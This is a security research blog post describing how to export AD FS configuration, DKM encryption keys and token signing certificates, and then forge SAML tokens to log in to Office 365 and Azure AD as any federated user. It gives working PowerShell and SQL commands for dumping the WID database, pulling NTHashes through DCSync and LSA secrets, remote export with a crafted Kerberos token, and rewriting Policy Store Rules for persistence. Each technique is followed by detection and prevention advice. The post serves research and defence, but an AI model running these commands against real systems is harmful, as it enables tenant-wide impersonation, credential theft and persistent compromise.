Exporting AD FS certificates revisited: Tactics, Techniques and Procedures
I’ve talked about AD FS issues for a couple years now, and finally, after the Solorigate/Sunburst, the world is finally listening 😉
In this blog, I’ll explain the currently known TTPs to exploit AD FS certificates, and introduce a totally new technique to export the configuration data remotely.
Introduction
I faced the first issues with the Office 365 / Azure AD identity federation in 2017, when I found out that you could login in as any user of the tenant, regardless were they federated or not. The requirement was that the immutableId property of the user was known. The property would be populated automatically for all synced user, for non-synced user this is possible to set manually by admins.
I also knew that it was possible to create SAML tokens to exploit this, as long I would have access token signing certificate. I also knew that the certificate was stored in the configuration database and encrypted with a key that was stored in AD. Regardless of the hours spent trying to solve the mystery, I just couldn’t decrypt the certificate.
But then came the TROOPERS19, and the wonderful presentation I am AD FS and So Can You by Douglas Bienstock (@doughsec) and Austin Baker (@BakedSec). Their seminal research finally revealed how to decrypt AD FS certificates! The two famous tools were also introduced: ADFSDump and ADFSpoof.
For short, to export AD FS token signing certificate, two things are needed: AD FS configuration data and certificate encryption key.
At late 2020, the world finally woke up after an attack against SolarWinds. The attack is better known as Solorigate or Sunburst, and among other things, it exploited the known AD FS issues to get access to SolarWinds’ customers Microsoft clouds. Since then, many providers (including Microsoft) have published a loads of material on how to detect such attacks and how to mitigate allready compromised environments.
In this blog, I’ll deep-dive in to TTPs these attacks used, how to detect them, and how to protect from future attacks (where applicable).
AD FS certification export supports now all methods included in the AD FS attack graph I presented at TROOPERS conference in June 2022 (presentation slide deck available here).
Exporting configuration
Regardless of the deployment model, AD FS configuration is always stored to a database. For smaller environments, the Windows Internal Database (WID) is used, and Microsoft SQL for larger ones.
The actual configuration is an xml file, including all the settings of the AD FS service. The xml file has over 1000 lines, below is an exerpt with the interesting data.
1<ServiceSettingsData xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
2 <SecurityTokenService>
3 <AdditionalEncryptionTokens>
4 <CertificateReference>
5 <IsChainIncluded>false</IsChainIncluded>
6 <IsChainIncludedSpecified>false</IsChainIncludedSpecified>
7 <FindValue>B7C09D5C2F434A2B746D200946202DE273A4B68C</FindValue>
8 <RawCertificate>MII[redacted]+RAh7dEypFVmcIyCd</RawCertificate>
9 <EncryptedPfx>AAAAA[redacted]Dbb5/gJLkQ==</EncryptedPfx>
10 <StoreNameValue>My</StoreNameValue>
11 <StoreLocationValue>CurrentUser</StoreLocationValue>
12 <X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
13 </CertificateReference>
14 </AdditionalEncryptionTokens>
15 <AdditionalSigningTokens>
16 <CertificateReference>
17 <IsChainIncluded>false</IsChainIncluded>
18 <IsChainIncludedSpecified>false</IsChainIncludedSpecified>
19 <FindValue>6FFF3A436D13EB299549F2BA93D485CBD050EB4F</FindValue>
20 <RawCertificate>MII[redacted]OzFUGmGWPXqLk</RawCertificate>
21 <EncryptedPfx>AAAAA[redacted]+evM94M17iG9P6VDFrA==</EncryptedPfx>
22 <StoreNameValue>My</StoreNameValue>
23 <StoreLocationValue>CurrentUser</StoreLocationValue>
24 <X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
25 </CertificateReference>
26 </AdditionalSigningTokens>
27 <EncryptionToken>
28 <IsChainIncluded>false</IsChainIncluded>
29 <IsChainIncludedSpecified>false</IsChainIncludedSpecified>
30 <FindValue>B7C09D5C2F434A2B746D200946202DE273A4B68C</FindValue>
31 <RawCertificate>MII[redacted]+RAh7dEypFVmcIyCd</RawCertificate>
32 <EncryptedPfx>AAAAA[redacted]Dbb5/gJLkQ==</EncryptedPfx>
33 <StoreNameValue>My</StoreNameValue>
34 <StoreLocationValue>CurrentUser</StoreLocationValue>
35 <X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
36 </EncryptionToken>
37 <SigningToken>
38 <IsChainIncluded>false</IsChainIncluded>
39 <IsChainIncludedSpecified>false</IsChainIncludedSpecified>
40 <FindValue>6FFF3A436D13EB299549F2BA93D485CBD050EB4F</FindValue>
41 <RawCertificate>MII[redacted]OzFUGmGWPXqLk</RawCertificate>
42 <EncryptedPfx>AAAAA[redacted]+evM94M17iG9P6VDFrA==</EncryptedPfx>
43 <StoreNameValue>My</StoreNameValue>
44 <StoreLocationValue>CurrentUser</StoreLocationValue>
45 <X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
46 </SigningToken>
47 </SecurityTokenService>
48 <PolicyStore>
49 <AuthorizationPolicy>@RuleName = "Permit Service Account"
50exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2918793985-2280761178-2512057791-1134"])
51 => issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
52
53@RuleName = "Permit Local Administrators"
54exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
55 => issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
56
57 </AuthorizationPolicy>
58 <AuthorizationPolicyReadOnly>@RuleName = "Permit Service Account"
59exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2918793985-2280761178-2512057791-1134"])
60 => issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
61
62@RuleName = "Permit Local Administrators"
63exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
64 => issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
65
66 </AuthorizationPolicyReadOnly>
67 <DkmSettings>
68 <Group>87f0e958-be86-4c39-b469-ac94b5924bd2</Group>
69 <ContainerName>CN=ADFS</ContainerName>
70 <ParentContainerDn>CN=Microsoft,CN=Program Data,DC=aadinternals,DC=com</ParentContainerDn>
71 <PreferredReplica i:nil="true" />
72 <Enabled>true</Enabled>
73 </DkmSettings>
74 </PolicyStore>
75</ServiceSettingsData>
Local
Access config database
This scenario requires a local admin rights to AD FS server, and that WID is used to store configuration data. In this scenario, there is one Primary AD FS node, and one or more Secondary AD FS nodes. All the management must be done in the primary node, from where all the secondary nodes will fetch the configuration once in five minutes:
The configuration can be exported from any AD FS server of the farm, regardless are they primary or secondary nodes.
Technically, the export is performed by executing a SQL query against the WID:
The database connection string can be queried using WMI:
(Get-WmiObject -Namespace root/AD FS -Class SecurityTokenService).ConfigurationDatabaseConnectionString
Data Source=np:\\.\pipe\microsoft##wid\tsql\query;Initial Catalog=ADFSConfigurationV4;Integrated Security=True
The actual configuration data can now be fetched with the following SQL query:
SELECT ServiceSettingsData from IdentityServerPolicy.ServiceSettings
To export the configuration with AADInternals:
# Export configuration and store to variable
$ADFSConfig = Export-AADIntADFSConfiguration -Local
Or, to save it to a file:
# Export configuration to file
Export-AADIntAD SConfiguration | Set-Content ADFSConfig.xml -Encoding UTF8
Another technique requiring access to AD FS server would be to download the configuration database from a remote computer same way as Dirk-Jan Mollena (@_dirkjan) does with his adconnectdump tool. However, AFAIK, this has not implemented yet.
Detecting access to config database
Exploiting this scenario requires logging in to AD FS server. As such, the exploitation can be detected by:
- Monitoring the Security log for the suspicious logons
- Enabling audit logging in WID for ServiceSettings queries and monitoring for suspicious access
To enable AD FS audit logging, connect to WID database by SQL Management Studio or sqlcmd using database information from connection string above:
sqlcmd -S \\.\pipe\microsoft##wid\tsql\query
The following SQL query will enable logging for all SELECT statements against ServiceSettings table. The server level auditing created in row 3 is attached to Application Log and enabled in row 5. In row 7, use the correct database name from the connection string above (depends on the AD FS version). The database level auditing is defined in row 9 to include all SELECT statements against ServiceSettings table, and enabled in row 11.
USE [master]
GO
CREATE SERVER AUDIT [ADFS_AUDIT_APPLICATION_LOG] TO APPLICATION_LOG WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE)
GO
ALTER SERVER AUDIT [ADFS_AUDIT_APPLICATION_LOG] WITH (STATE = ON)
GO
USE [ADFSConfigurationV4]
GO
CREATE DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_ACCESS_AUDIT] FOR SERVER AUDIT [ADFS_AUDIT_APPLICATION_LOG] ADD (SELECT ON OBJECT::[IdentityServerPolicy].[ServiceSettings] BY [public])
GO
ALTER DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_ACCESS_AUDIT] WITH (STATE = ON)
GO
As a result, all queries for ServiceSettings are now logged to Application log with event id 33205. If the server_principal_name is not the AD FS service user, the alert should be raised.
The server level auditing will generate some extra log events, but database level audit should only include the local exports.
Preventing access to config database
Dumping databases locally can not be fully prevented, but the limiting access to a minimum would reduce the attack surface.
.NET reflection
This technique also requires a local admin rights to AD FS server. Basic idea is to run a legit Get‑AdfsProperties command and get the configuration using .NET reflection. This technique was introduced in Microsoft’s ADFSToolbox. ADFSToolbox contains tools “for helping you manage your AD FS farm”.
The source code of Test.ServiceAccount.ps1 file shows the following:
199# Gets internal ADFS settings by extracting them Get-AdfsProperties
200function Get-AdfsInternalSettings()
201{
202 $settings = Get-AdfsProperties
203 $settingsType = $settings.GetType()
204 $propInfo = $settingsType.GetProperty("ServiceSettingsData", [System.Reflection.BindingFlags]::Instance -bor [System.Reflection.BindingFlags]::NonPublic)
205 $internalSettings = $propInfo.GetValue($settings, $null)
206
207 return $internalSettings
208}
Detecting and preventing .NET reflection
As this technique is using legit AD FS management cmdlet, it practically can’t be detected or prevented, but the limiting access to a minimum would reduce the attack surface.
Remote as AD FS service account
Dumping the configuration remotely is a totally new functionality in AADInternals and it required a lot of refactoring of Kerberos related functionality :sweat_smile:
The idea for this was given by my colleague Ryan Cobb from Secureworks a couple of weeks ago. After tweeting about this new finding, it turned out that, coincidentally, @doughsec had also researched the same technique a couple of months earlier. The report by @doughsec is available here, I’ll post a detailed blog about my research process later.
The basic idea here is to emulate the AD FS synchronisation by pretending to be the AD FS service:
It turned out that the “AD FS sync” is using SOAP for getting settings. The interesting part is that the whole process takes place using http (not https) and can therefore be monitored by using a proxy like Fiddler or Burp. However, the content of the SOAP messages are encrypted. I’ll not dive into details in this blog, but the process involves Kerberos authentication and exchanging a bunch of encryption keys.
I had earlier implemented functionality to create Kerberos tokens to exploit Seamless SSO. To get it to work with AD FS, I had to do some modifications, but that is also another story 😉
Getting the configuration remotely requires a couple of things:
- Ip address or FQDN of any AD FS server
- NTHash of the AD FS service user
- SID of the AD FS service user
With the NTHash and SID, we can craft a Kerberos token and use it to authenticate against AD FS. After the authentication is completed, we can send an (encrypted) SOAP message to:
http://<server>/ADFS/services/policystoretransfer
The SOAP message would contain the following payload:
<GetState xmlns="http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore">
<serviceObjectType>ServiceSettings</serviceObjectType>
<mask xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
<filter xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
<clientVersionNumber>1</clientVersionNumber>
</GetState>
Getting the AD FS service user’s NTHash would usually require tools like Mimikatz or DSInternals.
To make it easier for AADInternals users, I’ve included a slighty modified DSInternals.Replication functionality which allows getting user information directly from Domain Controllers by emulating DCSync.
First, we need to get the object guid of the AD FS service user. Below I’m using sv_ADFS but that depends on your configuration.
Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq sv_ADFS | Format-List Name,ObjectGuid,ObjectSid
Name : sv_ADFS
ObjectGuid : b6366885-73f0-4239-9cd9-4f44a0a7bc79
ObjectSid : S-1-5-21-1332519571-494820645-211741994-8710
Next, we can query the NTHash of the AD FS service user, which requires credentials having replication permissions.
# Save credentials to a variable
$cred = Get-Credential
# Get the NTHash as hex string
Get-AADIntADUserNTHash -ObjectGuid "b6366885-73f0-4239-9cd9-4f44a0a7bc79" -Credentials $creds -Server dc.company.com -AsHex
6e36047d34057fbb8a4e0ce8933c73cf
Another option to get NTHash is to get AD FS service account’s password from AD FS server (requires local admin rights):
# Get NTHash of the AD FS service account
Get-AADIntLSASecrets -AccountName sv_ADFS | Select-Object -ExpandProperty MD4Txt
6e36047d34057fbb8a4e0ce8933c73cf
Finally, as we have all we need, we can get the configuration remotely:
# Export configuration remotely and store to variable
$ADFSConfig = Export-AADIntADFSConfiguration -Hash "6e36047d34057fbb8a4e0ce8933c73cf" -SID "S-1-5-21-1332519571-494820645-211741994-8710" -Server sts.company.com
Note! Getting configuration remotely works also when using the full SQL for storing the configuration data. In this scenario, there are no primary or secondary servers because all servers are using a centralised database. As such, there is no need for the AD FS sync and it should not be enabled at all! However, this how Microsoft designed AD FS, so there is nothing we can do about it 😞
Detecting
AD FS configuration sync is not logged to anywhere. However, enabling AD FS Tracing, will record event id 54, which indicates a succesful authentication:
If the authentication timestamp is out of normal sync times, or from “wrong” computer, an alert should be raised.
Preventing
AD FS service requires that https traffic is allowed. Http traffic is only used by load balancers to probe whether the AD FS service is up or not:
http://<server>/ADFS/probe
As such, allowing http traffic only from other AD FS servers, proxies, and load balancers would reduce the attack surface.
Remote as any user
Attackers may also alter the Policy Store Rules to allow anyone to read the configuration.
AADInternals supports exporting the configuration remotely as the logged in user since v0.4.9.
# Export configuration remotely as a logged in user and store to variable
$ADFSConfig = Export-AADIntADFSConfiguration -Server sts.company.com -AsLoggedInUser
Detecting
For the AD FS servers, same detection techniques apply as above. However, now the user dumping configuration will first need to get Kerberos token from the DC. As such, we can monitor for any suspicious login activities.
Preventing
Blocking all http traffic (port 80) to AD FS servers would prevent exporting the configuration.
Editing Policy Store Rules
Besides exporting the configuration, adversaries can also edit the configuration. This scenario requires a local admin rights to AD FS server, and that WID is used to store configuration data.
The access to configuration data is limited by Policy Store Rules. The default rules are similar to following:
AuthorizationPolicyReadOnly : @RuleName = "Permit Service Account"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2108354183-1066939247-874701363-3086"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
@RuleName = "Permit Local Administrators"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
AuthorizationPolicy : @RuleName = "Permit Service Account"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2108354183-1066939247-874701363-3086"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
@RuleName = "Permit Local Administrators"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
As we can see, there are two rules: one for Read-Write permissions and one for Read-Only permission. The rules are defined using AD FS Claims Rule Language. As such, we can define as complex rules for giving permissions as we want to. The default rules are assigning RW permissions to the Local Administrators (group) and to AD FS service user (user or gMSA).
During the initial attack/compromise, adversaries often would like to have more persistent access to the configuration data. The easiest way to achieve this is to allow read permissions to all users. AADInternals supports editing the Policy Store Rules since v0.4.8.
Technically, the export is edited by executing a SQL query against the WID:
The following script will change the Read-Only permission so that anyone can get the configuration - RW permissions remain intact.
# Get Policy Store Authorisation Policy rules from the local AD FS
$authPolicy = Get-AADIntADFSPolicyStoreRules
# Get the configuration from the local AD FS server and set read-only policy to allow all to read
$config = Set-AADIntADFSPolicyStoreRules -AuthorizationPolicy $authPolicy.AuthorizationPolicy
# Set the configuration to the local AD FS database
Set-AADIntADFSConfiguration -Configuration $config
The resulting rule for AuthorizationPolicyReadOnly:
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
As a result, exporting AD FS configuration remotely doesn’t require Local Admin permissions on the AD FS server or AD FS service account credentials/hash. Any use who can log in to the domain (or AD FS server) can now export the configuration remotely.
Detecting
Detection happens in a similar manner than in exporting the local configuration. The following SQL query will enable logging for all UPDATE statements against ServiceSettings table.
USE [master]
GO
CREATE SERVER AUDIT [ADFS_AUDIT_APPLICATION_UPDATE_LOG] TO APPLICATION_LOG WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE)
GO
ALTER SERVER AUDIT [ADFS_AUDIT_APPLICATION_UPDATE_LOG] WITH (STATE = ON)
GO
USE [ADFSConfigurationV4]
GO
CREATE DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_UPDATE_AUDIT] FOR SERVER AUDIT [ADFS_AUDIT_APPLICATION_UPDATE_LOG] ADD (UPDATE ON OBJECT::[IdentityServerPolicy].[ServiceSettings] BY [public])
GO
ALTER DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_UPDATE_AUDIT] WITH (STATE = ON)
GO
Now all edit events are logged to the Application log:
Preventing
Editing database locally can not be fully prevented, but the limiting access to a minimum would reduce the attack surface.
Exporting configuration encryption key
AD FS is using Distributed Key Manager (DKM) container to store the configuration encryption key in Active Directory. Container location is included in the configuration xml (lines 69 and 70).
Inside the container there are one or more “Groups”. The correct group is also included in the configuration xml (line 68). Inside the group, there are two (or more) contact objects. One of those objects is always named to “CryptoPolicy” and its DisplayName attribute is a GUID. The encryption key is located in the object, which has an “l” (location) attribute value matching the DisplayName of the CryptoPolicy object.
Local (.NET reflection)
The local export here refers to export taking place on AD FS server. This technique is also using .NET reflection as introduced in FoggyWeb:
The basic idea here is to use AD FS binaries to get the key for you, making it extremely stealthy.
However, the code must be run as AD FS service account. Long story short, I solved this challenge by running a custom made service as AD FS service account.
After the service is started, it will listen a named pipe to get configuration sent by AADInternals. After receiving the configuration, the service will use .NET reflection to get the DKM key from AD and returns it to AADInternals via named pipe. Source code of the service available in github.
To export the key with AADInternals:
# Export encryption key and store to variable
$ADFSKey = Export-AADIntEncryptionKey -Local -Configuration $ADFSConfig
Detecting
Detecting the encryption key export is based on enabling auditing the access to AD FS DKM container. For instance, Roberto Rodriguez (@Cyb3rWard0g) has published a great article on how to enable auditing.
However, as this technique is using AD FS binaries as AD FS service account to access DKM container, it is in practice undetectable.
On AD FS server, the service used to get the key is present for a very brief time:
Monitoring creation of new services, especially those running as AD FS service account, helps to detect execution of this technique.
Preventing
Exporting the encryption key locally can not be fully prevented, but the limiting access to a minimum would reduce the attack surface.
Remote
Exporting the encryption key remotely is using DCSync. As such, the credentials with directory replication rights are needed, but the actual export can be performed from any computer. Also the object guid of the DKM object is needed.
# Save credentials to a variable
$cred = Get-Credential
# Export encryption key remotely and store to variable
$ADFSKey = Export-AADIntADFSEncryptionKey -Server dc.company.com -Credentials $cred -ObjectGuid "930e004a-4486-4f58-aead-268e41c0531e"
Detecting
Technically, the encryption key is fetched using DCSync. As such, it will generate event id 4662 to Security log. However, the access to DKM container is NOT detected.
Preventing
In practice, exporting the encryption key remotely can not prevented, but limiting the replication rights would reduce the attack surface.
Exporting AD FS certificates
After exporting the configuration and encryption key, we are ready to decrypt the AD FS certificates. As we can see from the configuration xml, it includes certificates for Signing Token (line 42) and Encryption Token (line 32). Also “additional” certificates for signing token (line 21) and encryption token (line 9) are included. These additional certificates are (usually) generated automatically, when the currently used certificates getting near their expiration date. If the additional certificates are same than “current” certificates, they are not exported.
To export AD FS certificates to the current directory:
# Export AD FS certificates
Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $ADFSKey
If you are running this on AD FS server, you can omit the parameters:
# Export AD FS certificates on AD FS server
Export-AADIntADFSCertificates
Exploiting
To exploit the Azure AD with the exported AD FS signing certificates, we need to know:
- The issuer URI of the AD FS service
- ImmutableId of the user we want to login as
First, lets get the issuer URI. It can be fetched from the Azure AD or from the AD FS server.
To get the issuer URI from Azure AD using MsOnline PS module:
# Get the issuer URI
$Issuer = (Get-MsolDomainFederationSettings -DomainName <domain>).IssuerUri
To get the issuer URI from the AD FS server:
# Get the issuer URI
$Issuer = (Get-ADFSProperties).Identifier.OriginalString
Note: If AD FS is configured using Azure AD Connect, the OriginalString may NOT equal to issuer uri registered to Azure AD!
Next, we need the ImmutableId of the user we want to logon as. The ImmutableId can also be fetched from the Azure AD or from on-prem AD (ImmutableId is Base64 encoded ObjectGuid of the user’s on-prem AD account).
To get users and immutable id’s from Azure AD using MsOnline PS module:
# Get ImmutableIds
Get-MsolUser | select UserPrincipalName,ImmutableId
To get users and immutable id’s from on-prem AD using AzureAD PS module:
# Get ImmutableIds
Get-ADUser -Filter * | select UserPrincipalname,@{Name = "ImmutableId" ; Expression = { "$([Convert]::ToBase64String(([guid]$_.ObjectGuid).ToByteArray())) "}}
UserPrincipalname ImmutableId
----------------- -----------
AlexW@company.com Ryo4MuvXW0muelHOefJ9yg==
AllanD@company.com Eo+jOAQegUi6rEy8+Yu1Rg==
DiegoS@company.com cl/bTG5zJku9VynOaXYaeQ==
IsaiahL@company.com iZaESRicxECDk5bN7gZhPg==
JoniS@company.com iGyyi+gq40u409PXjE3yRg==
LynneR@company.com QpHd34ay4UKo0whX6hui3g==
MeganB@company.com 31YCEbfrMUCefem7zlPYTg==
NestorW@company.com jyEyYWLzKkSpq3bERRG+PQ==
PattiF@company.com xTuqzBwFbUePyPGRRA1R4g==
SamiL@company.com VlUqJm8rrUeAhrhJGIhYsQ==
MarkR@company.com J1OAD14fgEWTMjLqQL5+/g==
Now we can login as any user whose ImmutableId is known. The following command will open a Chrome browser and log the user automatically in.
# Open Office 365 portal as the given user
Open-AADIntOffice365Portal -ImmutableID iZaESRicxECDk5bN7gZhPg== -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer -Browser Chrome
We can also use the same information to get access token to any Office 365/Azure AD service we like:
# Create a SAML token
$saml = New-AADIntSAMLToken -ImmutableID iZaESRicxECDk5bN7gZhPg== -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer
# Get access token for Outlook
Get-AADIntAccessTokenForEXO -SAMLToken $saml -SaveToCache
Tenant User Resource Client
------ ---- -------- ------
112d9bdc-b677-4a5f-8650-2948dbedb02f IsaiahL@company.com https://outlook.office365.com d3590ed6-52b3-4102-aeff-aad2292ab01c
Summary
In this blog post, I introduced various techniques how to export AD FS configuration data and encryption key to extract the AD FS certificates. Corresponding detection and prevention techniques were also introduced.
References
- Douglas Bienstock and Austin Baker: I am AD FS and So Can You
- Fireeye: ADFSDump
- Fireeye: ADFSpoof
- Microsoft: ADFSToolbox, Test.ServiceAccount.ps1
- Douglas Bienstock / Fireeye: Abusing Replication: Stealing AD FS Secrets Over the Network
- Dirk-Jan Mollena: adconnectdump
- Benjamin Delby: Mimikatz
- Michael Grafnetter: DSInternals
- Microsoft: FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor
- Roberto Rodriquez: Threat Hunter Playbook: Active Directory Federation Services (ADFS) Distributed Key Manager (DKM) Keys
- Ned Pyle (Microsoft): AD FS 2.0 Claims Rule Language Primer